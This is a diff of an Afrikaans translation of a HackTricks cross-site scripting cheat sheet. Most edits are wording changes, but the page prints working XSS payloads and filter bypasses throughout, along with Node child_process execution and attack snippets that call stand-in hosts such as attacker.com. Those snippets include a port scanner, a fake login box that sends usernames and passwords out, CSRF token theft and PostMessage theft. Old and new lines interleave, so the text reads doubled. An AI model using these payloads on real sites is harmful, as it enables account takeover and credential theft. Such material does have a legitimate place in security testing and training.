**Verbygaan vir HTML-etikette en eienskappe**
|
||||
**Deurlooppaaie vir HTML-etikette en eienskappe**
|
||||
|
||||
Lees die[ Swartlys Verbygaan van die vorige afdeling](./#blacklist-bypasses).
|
||||
Lees die [Swartlys deurlooppaaie van die vorige afdeling](./#blacklist-bypasses).
|
||||
|
||||
**Verbygaan vir JavaScript-kode**
|
||||
**Deurlooppaaie vir JavaScript-kode**
|
||||
|
||||
Lees die J[avaScript verbygaan swartlys van die volgende afdeling](./#javascript-bypass-blacklists-techniques).
|
||||
Lees die [JavaScript deurloop swartlys van die volgende afdeling](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voetnota met 'n onmouseover element), kan jy probeer om **die spasie wat daardie element inneem te wysig** om die kanse te maksimeer om die skakel te laat afgaan.
|
||||
As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voetnota met 'n onmouseover element), kan jy probeer om **die spasie wat die element inneem te wysig** om die kanse te maksimeer om die skakel te laat afgaan.
|
||||
|
||||
Byvoorbeeld, jy kan bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
|
@ -470,19 +470,19 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-
|
|||
|
||||
## Ins spuit binne JavaScript-kode
|
||||
|
||||
In hierdie geval **word jou inset** weerspieël binne die JS-kode van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML-gebeurtenisse wat JS-kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
|
||||
In hierdie geval sal jou **inset** binne die JS-kode wees wat gereflekteer word in 'n `.js`-lêer of tussen `<script>...</script>`-etikette of tussen HTML-gebeurtenisse wat JS-kode kan uitvoer of tussen eienskappe wat die `javascript:`-protokol aanvaar.
|
||||
|
||||
### Ontsnapping van die \<script> etiket
|
||||
|
||||
As jou kode binne `<script> [...] var input = 'weerspieëlde data' [...] </script>` ingevoeg word, kan jy maklik die **ontsnapping van die sluiting van die `<script>`** etiket:
|
||||
As jou kode binne `<script> [...] var input = 'gereflekteerde data' [...] </script>` ingevoeg word, kan jy maklik die **ontsnapping van die sluiting van die `<script>`** etiket:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Merk op dat ons in hierdie voorbeeld selfs die enkelkwotasie **nie eers gesluit het nie**. Dit is omdat **HTML-analise word eerste deur die webblaaier uitgevoer**, wat die identifisering van bladsyelemente insluit, insluitend blokke van skrips. Die analisering van JavaScript om die ingeslote skripte te verstaan en uit te voer, word eers daarna uitgevoer.
|
||||
Merk op dat ons in hierdie voorbeeld selfs die enkel aanhalingsteken **nie eers gesluit het nie**. Dit is omdat **HTML-analise word eerste deur die webblaaier** uitgevoer, wat die identifisering van bladsyelemente insluit, insluitend blokke van skrips. Die analisering van JavaScript om die ingeslote skripte te verstaan en uit te voer, word eers daarna uitgevoer.
|
||||
|
||||
### Binne JS-kode
|
||||
|
||||
As `<>` gesanitiseer word, kan jy steeds die string **ontvlug** waar jou inset is **geleë** en **arbitrêre JS uitvoer**. Dit is belangrik om die JS-sintaksie te **herstel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
|
||||
As `<>` gesanitiseer word, kan jy steeds die string **ontvlug** waar jou inset is **geleë** en **arbitrêre JS uitvoer**. Dit is belangrik om die JS-sintaksie te **regmaak**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -490,7 +490,7 @@ As `<>` gesanitiseer word, kan jy steeds die string **ontvlug** waar jou inset i
|
|||
```
|
||||
### Sjabloonliterale \`\`
|
||||
|
||||
Om **strings** saam te stel behalwe enkel en dubbele aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as sjabloonliterale omdat hulle toelaat om **ingebedde JS-uitdrukkings** te gebruik met behulp van `${ ... }`-sintaksis.\
|
||||
Om **strings** saam te stel behalwe enkel en dubbele aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as sjabloonliterale omdat hulle toelaat om **ingeslote JS-uitdrukkings** te gebruik met behulp van `${ ... }`-sintaksis.\
|
||||
Daarom, as jy vind dat jou inset binne 'n JS-string **weerspieël** word wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **willekeurige JS-kode** uit te voer:
|
||||
|
||||
Dit kan **misbruik** word deur:
|
||||
|
@ -550,7 +550,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
'\t' //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**Spasie vervangings binne JS kode**
|
||||
**Spasievervanging binne JS-kode**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
|
@ -733,31 +733,31 @@ top['al\x65rt'](1)
|
|||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
## **DOM kwetsbaarhede**
|
||||
## **DOM kwesbaarhede**
|
||||
|
||||
Daar is **JS-kode** wat **onveilig deur 'n aanvaller beheerde data** gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om willekeurige JS-kode uit te voer.\
|
||||
**As gevolg van die uitbreiding van die verduideliking van** [**DOM kwetsbaarhede is dit na hierdie bladsy verskuif**](dom-xss.md)**:**
|
||||
**As gevolg van die uitbreiding van die verduideliking van** [**DOM kwesbaarhede is dit na hierdie bladsy verskuif**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Daar sal jy 'n gedetailleerde **verduideliking van wat DOM kwetsbaarhede is, hoe hulle uitgelok word, en hoe om hulle te benut** vind.\
|
||||
Daar sal jy 'n gedetailleerde **verduideliking van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om hulle te benut** vind.\
|
||||
Moenie ook vergeet dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
|
||||
|
||||
## Ander Oorskrydings
|
||||
|
||||
### Gestandaardiseerde Unicode
|
||||
|
||||
Jy kan nagaan of die **weerspieëlde waardes** in die bediener (of aan die kliëntkant) **unicode genormaliseer** word en hierdie funksionaliteit misbruik om beskermings te omseil. [**Vind 'n voorbeeld hier**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Jy kan nagaan of die **weerspieëlde waardes** op die bediener (of aan die kliëntkant) **unicode genormaliseer** word en hierdie funksionaliteit misbruik om beskermings te omseil. [**Vind 'n voorbeeld hier**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL vlag Oorskryding
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Ruby-On-Rails omseil
|
||||
### Ruby-On-Rails omseiling
|
||||
|
||||
As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingsbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
|
||||
As gevolg van **RoR massatoewysing** word aanhalings in die HTML ingevoeg en dan word die aanhalingsbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
|
||||
Vormvoorbeeld ([van hierdie verslag](https://hackerone.com/reports/709336)), as jy die lading stuur:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -766,8 +766,6 @@ Die paar "Sleutel","Waarde" sal teruggevoer word soos dit:
|
|||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Dan sal die onfocus-eienskap ingevoeg word en XSS gebeur.
|
||||
|
||||
### Spesiale kombinasies
|
||||
```markup
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
|
@ -800,10 +798,9 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS met koptekstinjeksie in 'n 302-antwoord
|
||||
|
||||
As jy vind dat jy **koptekste kan inspuit in 'n 302 Herlei-antwoord** kan jy probeer om die browser **willekeurige JavaScript te laat uitvoer**. Dit is **nie triviaal nie** aangesien moderne webblaaier nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, dus is net 'n kruissite-skripsing-lading nutteloos.
|
||||
As jy vind dat jy **koptekste kan inspuit in 'n 302 Herlei-antwoord** kan jy probeer om die blaai uit te voer om arbitrêre JavaScript uit te voer. Dit is **nie maklik nie** aangesien moderne blaaier nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n kruissite-skripsinglading is nutteloos.
|
||||
|
||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Ligging-koptekstuk kan toets en sien of enige van hulle die browser toelaat om die XSS-lading binne die liggaam te ondersoek en uit te voer.\
|
||||
Voorheen bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Ligging-koptekstuk_, `resource://`.
|
||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Ligging-koptekstuk kan toets en sien of enige van hulle die blaai toelaat om die XSS-lading binne die liggaam te inspekteer en uit te voer. Bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Ligging-koptekstuk_, `resource://`.
|
||||
|
||||
### Slegs Letters, Syfers en Kolletjies
|
||||
|
||||
|
@ -811,11 +808,11 @@ As jy in staat is om die **terugroep** aan te dui wat javascript gaan **uitvoer*
|
|||
|
||||
### Geldige `<script>` Inhoudstipes vir XSS
|
||||
|
||||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrip te laai met 'n **inhoudstipe** soos `application/octet-stream`, sal Chrome die volgende fout gooi:
|
||||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrips te laai met 'n **inhoudstipe** soos `application/octet-stream`, sal Chrome die volgende fout gooi:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') omdat sy MIME-tipe (‘application/octet-stream’) nie uitvoerbaar is nie, en streng MIME-tipekontrole is geaktiveer.
|
||||
|
||||
Die enigste **Inhoudstipes** wat Chrome sal ondersteun om 'n **gelaai skrip** uit te voer is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
Die enigste **Inhoudstipes** wat Chrome sal ondersteun om 'n **gelaai skrips** uit te voer is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -845,7 +842,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
Die antwoord is:
|
||||
|
||||
* **module** (standaard, niks om te verduidelik nie)
|
||||
* **module** (verstek, niks om te verduidelik nie)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk waar jy 'n klomp data (HTML, CSS, JS...) saam in 'n **`.wbn`** lêer kan pakketteer.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
|
@ -875,7 +872,7 @@ import { partition } from "lodash";
|
|||
```
|
||||
Hierdie gedrag is gebruik in [**hierdie skryfstuk**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herken aan eval om dit te misbruik en XSS te veroorsaak.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie funksie is hoofsaaklik om sekere probleme veroorsaak deur vooraf-rendering op te los. Dit werk soos volg:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om sekere probleme veroorsaak deur vooraf-rendering op te los. Dit werk soos volg:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -908,7 +905,7 @@ In ander webblaaier kan ander **`Inhoudstipes`** gebruik word om willekeurige JS
|
|||
|
||||
### xml Inhoudstipe
|
||||
|
||||
As die bladsy 'n text/xml inhoudstipe teruggee, is dit moontlik om 'n namespace aan te dui en willekeurige JS uit te voer:
|
||||
As die bladsy 'n text/xml inhoudstipe terugstuur, is dit moontlik om 'n namespace aan te dui en willekeurige JS uit te voer:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -918,7 +915,7 @@ As die bladsy 'n text/xml inhoudstipe teruggee, is dit moontlik om 'n namespace
|
|||
```
|
||||
### Spesiale Vervangingspatrone
|
||||
|
||||
Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word. Die aanvaller kan [**spesiale stringvervanging**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) gebruik om te probeer om sekere beskermings te omseil: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word. Die aanvaller kan [**spesiale stringvervanginge**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) gebruik om te probeer om sekere beskermings te omseil: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Byvoorbeeld in [**hierdie skryfstuk**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om 'n JSON-string binne 'n skripsie te ontsnap en arbitrêre kode uit te voer.
|
||||
|
||||
|
@ -961,7 +958,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Indien **alles ongedefinieerd is** voor die uitvoering van onbetroubare kode (soos in [**hierdie skryfstuk**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) is dit moontlik om nuttige objekte "uit niks" te genereer om die uitvoering van willekeurige onbetroubare kode te misbruik:
|
||||
Indien **alles ongedefinieerd is** voor die uitvoering van onbetroubare kode (soos in [**hierdie skryfstuk**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van willekeurige onbetroubare kode te misbruik:
|
||||
|
||||
* Deur import()
|
||||
```javascript
|
||||
|
@ -984,7 +981,7 @@ Daarom, as ons van daardie module **'n ander funksie kan roep**, is dit moontlik
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanteraars te gebruik** om toegang te verkry tot die **omhulsel** van die module en die **`require`**-funksie te kry:
|
||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanteraars te gebruik** om toegang te kry tot die **omhulsel** van die module en die **`require`**-funksie te kry:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1021,9 +1018,9 @@ console.log(req('child_process').execSync('id').toString())
|
|||
}
|
||||
trigger()
|
||||
```
|
||||
### Obfuskasie & Gevorderde Oorspoel
|
||||
### Verduistering & Gevorderde Oorspoel
|
||||
|
||||
* **Verskillende obfuskasies op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **Verskillende verduisterings op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1153,7 +1150,7 @@ q.shift()();
|
|||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
### Poortskander (websockets)
|
||||
### Poortskandeerder (websockets)
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
|
@ -1170,7 +1167,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
```
|
||||
_Kort tye dui op 'n reagerende poort_ _Langer tye dui op geen reaksie nie._
|
||||
|
||||
Oorsig van die lys van verbode porte in Chrome [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Gaan die lys van verbode porte in Chrome na [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Boks om vir geloofsbriewe te vra
|
||||
```markup
|
||||
|
@ -1187,11 +1184,11 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs as die klient 'n gestoorde wagwoord kies en niks skryf nie, sal die geloofsbriewe uitgefilter word.
|
||||
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs as die klient 'n gestoorde wagwoord kies en niks skryf nie, sal die geloofsbriewe uitgelek word.
|
||||
|
||||
### Sleutelregister
|
||||
### Sleutelbordopnemer
|
||||
|
||||
Deur net op github te soek, het ek 'n paar verskillende gevind:
|
||||
Deur net op GitHub te soek, het ek 'n paar verskillende gevind:
|
||||
|
||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
|
@ -1213,7 +1210,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### Steel PostMessage-boodskappe
|
||||
### Steel van PostMessage-boodskappe
|
||||
```markup
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
|
@ -1312,17 +1309,17 @@ Kan Markdown-kode inspuit wat gerender sal word? Dalk kan jy XSS kry! Kontroleer
|
|||
|
||||
### XSS na SSRF
|
||||
|
||||
Het jy XSS op 'n **webwerf wat kaching gebruik**? Probeer **om dit na SSRF op te gradeer** deur Edge Side Include Injection met hierdie payload:
|
||||
Het jy XSS op 'n **webwerf wat kaching gebruik**? Probeer **om dit na SSRF op te gradeer** deur Edge Side Include Injection met hierdie lading:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Gebruik dit om koekiebeperkings, XSS-filters en baie meer te omseil!\
|
||||
Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in dinamies geskepte PDF
|
||||
### XSS in dinamies geskep PDF
|
||||
|
||||
As 'n webbladsy 'n PDF skep deur gebruikersbeheerde insette te gebruik, kan jy probeer om die **robot te mislei** wat die PDF skep om **arbitrêre JS-kode uit te voer**.\
|
||||
Dus, as die **PDF-skepper-robot** 'n soort **HTML-tjokkies vind**, gaan dit hulle **interpreteer**, en jy kan van hierdie gedrag **misbruik** maak om 'n **Bediener XSS** te veroorsaak.
|
||||
As 'n webbladsy 'n PDF skep deur gebruikersbeheerde insette te gebruik, kan jy probeer om die bot wat die PDF skep te **mislei** om **arbitrêre JS-kode uit te voer**.\
|
||||
Dus, as die **PDF-skepper-bot** 'n soort **HTML-tjokkies vind**, gaan dit hulle **interpreteer**, en jy kan van hierdie gedrag **misbruik** maak om 'n **Bediener XSS** te veroorsaak.
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
|
@ -1338,7 +1335,7 @@ As jy nie HTML-tjokkies kan inspuit nie, kan dit die moeite werd wees om te prob
|
|||
|
||||
AMP, gemik op die versnelling van webbladprestasie op mobiele toestelle, sluit HTML-tjokkies aangevul deur JavaScript in om funksionaliteit te verseker met 'n klem op spoed en sekuriteit. Dit ondersteun 'n verskeidenheid komponente vir verskeie kenmerke, toeganklik via [AMP-komponente](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Die [**AMP vir E-pos**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud te interaksieer binne hul e-posse.
|
||||
Die [**AMP vir E-pos**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud in hul e-posse te interaksioneer.
|
||||
|
||||
Voorbeeld [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
|
@ -1400,9 +1397,9 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Vind **meer SVG-vragte in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Vind **meer SVG-vragte** in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Verskeie JS-truuks & Relevant Inligting
|
||||
## Verskeie JS-truuks & relevante inligting
|
||||
|
||||
{% content-ref url="other-js-tricks.md" %}
|
||||
[other-js-tricks.md](other-js-tricks.md)
|
||||
|
@ -1416,22 +1413,22 @@ Vind **meer SVG-vragte in** [**https://github.com/allanlw/svg-cheatsheet**](http
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hacking loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|